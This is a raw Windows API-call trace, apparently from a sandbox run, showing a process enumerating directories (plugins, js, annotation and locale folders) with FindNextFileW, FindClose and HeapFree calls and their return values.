	[0167.556] FindNextFileW (in: hFindFile=0x394ba78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0167.556] FindClose (in: hFindFile=0x394ba78 | out: hFindFile=0x394ba78) returned 1
	[0167.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46a03c8 | out: hHeap=0x4f0000) returned 1
	[0167.556] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbe1a4 | out: lpFindFileData=0x2fbe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0167.556] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0167.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.556] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0167.556] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0167.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0167.560] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1
	[0167.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.564] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0167.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.564] FindNextFileW (in: hFindFile=0x394b4f8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0167.564] FindClose (in: hFindFile=0x394b4f8 | out: hFindFile=0x394b4f8) returned 1
	[0167.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55f0058 | out: hHeap=0x4f0000) returned 1
	[0167.564] FindNextFileW (in: hFindFile=0x394b538, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1
	[0167.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0167.570] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0167.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.593] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0167.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.595] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0167.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.596] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0167.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.598] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0167.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.598] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0167.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.603] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0167.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.603] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0167.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.605] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0167.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.605] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0167.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.606] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0167.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.607] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0167.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.607] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0167.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.611] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0167.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.611] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0167.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.768] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0167.807] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0167.807] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0168.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.013] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0168.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.013] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0168.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.013] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0168.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.014] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0168.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.014] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0168.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.014] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0168.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.015] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0168.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.015] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0168.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.015] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0168.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.015] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0168.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.015] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0168.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.016] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0168.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.016] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0168.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0168.021] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbdf28 | out: lpFindFileData=0x2fbdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0168.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
